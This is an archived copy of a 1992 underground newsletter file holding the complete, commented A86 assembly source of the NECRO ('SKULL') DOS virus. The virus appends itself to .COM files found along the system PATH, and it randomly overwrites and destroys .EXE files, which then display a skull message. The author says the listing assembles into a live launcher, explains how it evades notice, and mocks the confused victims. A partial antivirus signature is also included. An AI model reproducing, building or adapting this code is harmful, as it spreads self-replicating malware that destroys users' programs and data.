💾 Archived View for spam.works › mirrors › textfiles › virus › necro.a86 captured on 2023-06-16 at 21:03:40.

View Raw

More Information

-=-=-=-=-=-=-

; A86 SOURCE CODE for:
;
;          ++===================================================++
;          ||           NECRO (A.K.A. 'SKULL' virus)            ||
;          ||           The 666 byte Dual Replicator            ||
;          ||     DEC 1992 by Primal Fury, Lehigh Valley, PA    ||
;          ++===================================================++
;                   -=Prepared for Crypt Newsletter 11=-
;
; Here's a virus that's actually two viruses in one.  The main virus is a
; a direct action, appending .COM infector.  It will search the system path
; for .COMs to infect, and may infect files on the path in preference to 
; to those in the current directory (if no path is set, it stays in the
; current directory).  Roughly one out of every eight infections (on a ran-
; dom basis) will be non-standard.  In these infections, NECRO will toggle to 
; an overwriting .EXE infector.  
;   
;  
; This .EXE infector is composed of much of the same code as the 
; COM infector -- the virus alternates between the two modes of infection 
; using a 'master switch' which is hooked up to a simple randomization 
; engine.  The master switch, when thrown, trips a series of auxilliary
; switches which alter the virus' behavior.  This saves on bytes and is 
; therefore much better than having the virus drop an entirely independent
; .EXE overwriter.  I hope to expand upon this 'self-programming' concept
; in future viruses.
  
; Infected .COM's should function as intended after the viral code appended to 
; them has finished doing its thing. But infected .EXE's are ruined.  These 
; (provided they are under about 64K in length) will, when executed, pass 
; their illness on to the next uninfected .EXE within the current directory, 
; displaying the following graphic & message:

;   ????????????           
; ???????????????        
;?????????????????   You cant execute this file:         
;????????????   ?    Its already dead!           
; ???????????????          
;  ?????????????           
;   ?????????????          
;           ?????              
 
; SKULL will then return the baffled user to the DOS prompt. I leave it to  
; your imagination to picture the consternation on the novice's face 
; as he tries to isolate the source of this overwriting infection which 
; seems to pop up again and again in different directories.  A very 
; observant user may notice a file length increase of exactly 666 bytes in 
; infected .COM's.  Infected .EXE's will not increase in length unless they  
; are less than ~200 bytes to begin with.  Note that overwritten .EXE's larger  
; than 64K will fail to load and will be non-infectious. Like Popoolar 
; Science, the virus renders these programs into a .COM-like in structure. 
; DOS will NOT execute these files.  In any case, the programs are ruined  
; by SKULL.  As of this release, NECRO avoids files that are read-only or 
; hidden, so these files are be safe from the virus (for now...)
  
; CREDITS:  DARK ANGEL   --  for his COM infector replicatory code. (D.A.)  
;           NOWHERE MAN  --  for his VCL 1.0's path-searching routine. (N.M.)
;           
;  
; Except where noted, I have commented the code with the novice 
; programmer in mind.  In the places so noted, D.A.'s and N.M.'s com-
; ments, supplied from VCL 1.0 and PS-MPC assembly libraries, have been 
; left intact.

; To assemble, use Isaacson's A86 to generate a .COMfile directly from
; this listing.  You will have a live NECRO launcher. MASM/TASM
; compatible assemblers will require the addition of a declarative pair.
;
; Partial viral signature suitable for loading into TBScan's VIRSCAN.DAT,
; SCAN, or F-PROT 2.0x:
; [Necro]
; A9 01 00 74 29 E8 6A 00 8C C8 8E D8 8E C0 32 C0  

  
  Start:  db      0e9h     ; jump to find_start
          dw      0
  Find_start:  call    next              ;common technique to allow virus to
  next:   pop     bp                     ;find its own code.  On exit, bp
          sub     bp, offset next        ;points to start of code.
          lea     si, [bp+offset stuff]  ;Prepare to restore orig. 3 bytes.
          mov     di, 100h               ;push 100h, where all COMs start in
          push    di                     ;memory, & where control will be
                                         ;returned to host file.
          movsw                          ;restore the 3 bytes formerly relo-
          movsb                          ;cated by the virus upon infection.
          mov     di,bp                  ;point DI to start of virus.
          lea     dx, [bp+offset dta]    ;set new Disk Transfer Address, so
          call    set_dta                ;virus won't fuck up original.
          call    search_files           ;call path-search/infection routine.
          jmp     quit                   ;when done, return control to 
                                         ;host file.
          
  ;Nowhere Man's VCL 1.0 path search routine, slightly modified for 
  ;compatibility with Dark Angel's code, and with 'master infection-mode 
  ;switch' added.  N.M.'s original comments have been retained for your 
  ;enlightenment.    

search_files:
          mov     bx,di                   ; BX points to the virus
          push    bp                      ; Save BP
          mov     byte ptr [bp+offset pathstore],'\'  ;Start with a backslash
          mov     ah,047h                 ; DOS get current dir function
          xor     dl,dl                   ; DL holds drive # (current)
          lea     si,[bp+offset pathstore+1] ; SI points to 64-byte buffer
          int     021h
          call    traverse_path           ; Start the traversal

traversal_loop: 
          cmp     word ptr [bx + path_ad],0     ; Was the search unsuccessful?
          je      done_searching          ; If so then we're done
          call    found_subdir            ; Otherwise copy the subdirectory
          mov     ax,cs                   ; AX holds the code segment
          mov     ds,ax                   ; Set the data and extra
          mov     es,ax                   ; segments to the code segment
          xor     al,al                   ; Zero AL
          stosb                           ; NULL-terminate the directory
          mov     ah,03Bh                 ; DOS change directory function
          lea     dx,[bp+offset pathstore+65] ; DX points to the directory
          int     021h
                                                                    
          ;The Master Switch, tied whimsically to the system clock:

          mov     ah,2ch                  ;DOS get system time.                      
          int     21h                     ;        
          cmp     dl,13                   ;is 1/100th second > 13?
          jg      call_infector           ;if so, stay in COM infector
                                          ;mode (the default).
          mov     si,3                    ;throw switch for EXE infect.

          ;back to Nowhere Man's code:

call_infector:  
          push    di
          call    find_files              ; Try to infect a file.
          pop     di
          jnc     done_searching          ; If successful, exit
          jmp     short traversal_loop    ; Keep checking the PATH

done_searching: 
          mov     ah,03Bh                 ; DOS change directory function
          lea     dx,[bp+offset pathstore]   ; DX points to old directory
          int     021h
          cmp     word ptr [bx + path_ad],0  ; Did we run out of directories?
          jne     at_least_tried          ; If not, exit
          stc                             ; Set carry flag for failure

at_least_tried: 
          pop     bp                      ; Restore BP
          ret                             ; Return to caller

com_mask        db      "*.COM",0               ; Mask for all .COM files


traverse_path:   
          mov     es,word ptr cs:[002Ch]  ; ES holds the enviroment segment
          xor     di,di                   ; DI holds the starting offset

find_path:      
          lea     si,[bx + ath_string]    ; SI points to "PATH="
          lodsb                           ; Load the "P" into AL
          mov     cx,08000h               ; Check the first 32767 bytes
          repne   scasb                   ; Search until the byte is found
          mov     cx,4                    ; Check the next four bytes

check_next_4:   
          lodsb                           ; Load the next letter of "PATH="
          scasb                           ; Compare it to the environment
          jne     find_path               ; If there not equal try again
          loop    check_next_4            ; Otherwise keep checking

          mov     word ptr [bx + path_ad],di      ; Save the PATH address
          mov     word ptr [bx + path_ad + 2],es  ; Save the PATH's segment
          ret                             ; Return to caller

ath_string      db      "PATH="           ; The PATH string to search for
path_ad         dd      ?                 ; Holds the PATH's address

found_subdir:    
          lds     si,dword ptr [bx + path_ad]     ; DS:SI points to PATH
          lea     di,[bp+offset pathstore+65] ; DI points to the work buffer
          push    cs                      ; Transfer CS into ES for
          pop     es                      ; byte transfer

move_subdir:    
          lodsb                           ; Load the next byte into AL
          cmp     al,';'                  ; Have we reached a separator?
          je      moved_one               ; If so we're done copying
          or      al,al                   ; Are we finished with the PATH?
          je      moved_last_one          ; If so get out of here
          stosb                           ; Store the byte at ES:DI
          jmp     short move_subdir       ; Keep transfering characters

moved_last_one: 
          xor     si,si                   ; Zero SI to signal completion

moved_one:      
          mov     word ptr es:[bx + path_ad],si ; Store SI in the path address
          ret                             ; Return to caller



  ;O.K. -- Now here's an important 'architectural' point:  The following 
  ;code (down to the next inset) will never be executed within the COM 
  ;appender (that viral code jumps over it).  It will, however be the first 
  ;thing executed within overwritten EXE files.  Why?  Because in EXE infec-
  ;tion mode, everything from EXFECT on down (but nothing previous) is 
  ;written over the beginning of the EXE host file.

  exfect:       call    next_two            ;Here again we see the old trick
                                            ;for pointing BP to start of  
  next_two:     pop     bp                  ;viral code.  (possibly should
                sub     bp, offset next_two ;have been subroutined [?]).
                mov     si,3                ;throw master switch for EXE    
                                            ;infection, so infection code
                                            ;below knows to use that mode!
                lea     dx,[bp+offset dta]  ;set DTA:  This would normally     
                call    set_dta             ;be utterly ridiculous (!) in an
                                            ;overwriting virus but is used
                                            ;here to maintain compatibility
                                            ;with the infection code.      
                call    find_files          ;try to infect another EXE.
                jmp     prequit             ;display message & quit to DOS.

  ;Now we're back to Dark Angel's code, expanded to save & restore file 
  ;date/time-stamp, and of course to accomodate the new EXE overwriting code 
  ;and infection-mode 'switching system'.  This is where infection actually 
  ;takes place.

  find_files:   
          
          push    bp                ;for compatibility with path-search.         
          mov     ah, 4eh           ;phunction phor phinding phirst phile 
                                    ;that phits phile-mask.
  tryanother:
          lea     dx, [bx+com_mask] ;by default, look for a .COM extension. 
          cmp     si, 3             ;is the EXE infector switch thrown?
          jne     short look        ;if not go on, else qeue up '*.EXE' mask
          lea     dx, [bp+exemask]  ;in place of '*.COM'.  

  look:    
          xor     cx, cx            ;attribute mask - find only normal
          int     21h               ;attributes.
          jnc     open_file         ;Have we run out of candidates in this
          pop     bp                ;directory?  If not go on, else return.
          ret                       ;note: a candidate file matches the file
                                    ;mask & has normal attributes.
  open_file:
          mov     ax, 3D02h              ;DOS open file function.
          lea     dx, [bp+offset dta+30] ;get file name out of DTA (put there
                                         ;for us by the 4eh or 4fh function).
          int     21h
          xchg    ax, bx
          mov     ah, 3fh             ;read the first 3 bytes of file & put
          lea     dx, [bp+stuff]      ;them in 'stuff' buffer, where we can
          mov     cx, 3               ;inspect them for previous infection.
          int     21h
          cmp     si,3                ;is the EXE infector switch thrown?
          jne     short comcheck      ;if not, use the COM file checker.
          mov     di,dx               ;otherwise, check EXE for infection.
          cmp     byte ptr [di], 4dh  ;is the first byte of the EXE an 'M'?
          jne     short searchloop    ;no? then already fucked. Keep looking.
          jmp     infect_file         ;otherwise let's infect it.

  comcheck:                                      ;DARK ANGEL'S COMMENTS: 
          mov     ax, word ptr [bp+dta+26]       ;"ax = filesize
          mov     cx, word ptr [bp+stuff+1]      ;jmp location
          add     cx, eov - find_start + 3       ;convert to filesize
          cmp     ax, cx                         ;if same, already infected
          jnz     short infect_file              ;so quit out of here"
          
  searchloop:                          
          call    close               ;close the file.
          mov     ah, 4fh             ;DOS 'find next file' function.
          jmp     short tryanother    ;go back up & try to find new victim.

  infect_file:
          mov     cx, word ptr [bp+dta+22]       ;Read file date & time
          mov     dx, word ptr [bp+dta+24]       ;stamps from DTA & store
          push    cx                             ;them for retrieval after
          push    dx                             ;infection is complete.
          cmp     si, 3                          ;branch if this is to be
          jne     short comfect                  ;a COM infection.  other-
                                                 ;wise, we now replicate the
                                                 ;EXE overwriting virus.
          xor     al, al                         ;go to the beginning of
          call    f_ptr                          ;the file.
          mov     ah, 40h                        ;write to file function.
          mov     cx, eov - exfect               ;write EXFECT through EOV   
          lea     dx, [bp+exfect]                ;to the EXE file.  [another 
          int     21h                            ;EXE is now our slave.]
          jmp     short finishfect               ;now, finish up.
                                               
  comfect:                                       ;COM infection routine.             
                                                 ;SAYETH DARK ANGEL:
                                          ;"Calculate the offset of the jmp.
          sub     ax, 3                          ;ax = filesize - 3"
          mov     word ptr [bp+writebuffer], ax  ;store jump offset in buffer.
          xor     al, al                         ;null AL (write will start
          call    f_ptr                          ;at byte 0 of file.  move
                                                 ;file pointer there).    
          mov     ah, 40h                        ;write to file function.
          mov     cx, 3                          ;we'll write 3 bytes, namely
          lea     dx, [bp+e9]                    ;the contents of E9 buffer.
          int     21h                            ;victim file now begins with
                                                 ;a jump to the viral code!
          mov     al, 2                          ;now move file pointer to
          call    f_ptr                          ;the end of the victim file.
          mov     ah, 40h                        ;write to file again.
          mov     cx, eov - find_start           ;Namely, write the main
          lea     dx, [bp+find_start]            ;viral code.
          int     21h                            ;virus is now appended to
                                                 ;the file.
  finishfect:                                    ;now to clean up a little.
          pop     dx                             ;get old file date/time-
          pop     cx                             ;stamp off of stack.
          mov     ax, 5701h                      ;DOS set file date/time
          int     21h                            ;stamp. (Otherwise, they
                                                 ;would be left set to date
                                                 ;& time of infection).
          pop     bp                             ;path-searcher will want 
                                                 ;it's old bit pointer back.
  close:
          mov     ah, 3eh                        ;DOS close file function.
          int     21h
          ret                                    ;return to CALL_INFECTOR.

                                               ;end of infection routine.
          
  primal          db     "???????????????????????"     ;an encrypted text            
          ;string, mainly here to pad appended virus length out to 666 
          ;bytes.  'Tight Code' purists will shit a brick over this.                 

  ;the COM infector never uses the PREQUIT routine below.  Only the EXFECT 
  ;routine (which is only used by the EXE overwriting virus, for reasons ex-
  ;plained in the inset above EXFECT) jumps to it.  It's the EXE infector's 
  ;message payload.  PREQUIT uses a simple encryption/decryption mechanism 
  ;to keep the message hidden from file viewers & such.  It may have been 
  ;better (albeit a bit costlier in speed & bytes) to encrypt the entire 
  ;virus (preferably, with polymorphic capabilities tossed in).  I hope to 
  ;make this mod in my next variant.  But for now, trojan programmers might 
  ;find this routine of interest:

  prequit:                          
           lea    si,[bp+offset msg]  ;queue up message to be displayed.
           mov    cx,204              ;CX holds length of message.
  
  xorloop:                            ;loop will decrypt & display message.
           lodsb                      ;load next byte of message into AL.
           xor    al,128              ;XOR the byte by our key.
           mov    ah,0eh              ;BIOS 'teletype' write to screen (the
           int    10h                 ;the character is already in AL).
           loop   xorloop             ;loop until CX's # of bytes processed.
           mov    ax,4c00h            ;exit to DOS function, will return   
           int    21h                 ;user to DOS prompt.

; Here's the encrypted version of our 'can't execute' message.  Note that
; this odd byte pattern may look suspicious to someone in the know using a
; file viewer, but then, so would the unencrypted file_masks and "PATH="!

  msg      db      "??????\\[[[[[[[[\\????\[[[[[2[[[[[[[[???^[2[[[[[[[["
           db      "[[[[[]?????????????????????????????????^[[[[[22[[[_"
           db      "???[?????????????????????????[[[[[[22[[\\\[_?????[["
           db      "[[22_2[[[[]??????__[[22\^2[[[]??????????????22]]]??"

; D.A. SAYS: "Restore the DTA and return control to the original program
  quit:   mov     dx, 80h             ;Restore current DTA to
                                      ;the default @ PSP:80h
  set_dta:
          mov     ah, 1ah             ;Set disk transfer address"
          int     21h                 ;so, let it be written,              
          ret                        ;so, let it be done.

  f_ptr:  mov     ah, 42h             ;DOS move file pointer
          xor     cx, cx              ;DARK ANGEL:       
          cwd                         ;"equivalent to: xor dx, dx"
          int     21h
          ret
                           
  exemask  db      "*.EXE",0          ;file-mask for EXEs.
  
  ; All commentary from here down is the DARKANGELMEISTER's.  Hope you found
  ; the code useful and/or informative.  P.F. signing off...       
                       
  ; Original three bytes of the infected file
  ; Currently holds a INT 20h instruction and a null byte 
  stuff   db      0cdh, 20h, 0
  e9      db      0e9h
  eov equ $                                      ; End of the virus
  ; The following variables are stored in the heap space (the area between
  ; the stack and the code) and are not part of the virus that is written
  ; to files.
  writebuffer dw  ?                              ; Scratch area holding the
                                                 ; JMP offset
  dta         db 42 dup (?)
  pathstore   db 135 dup (?)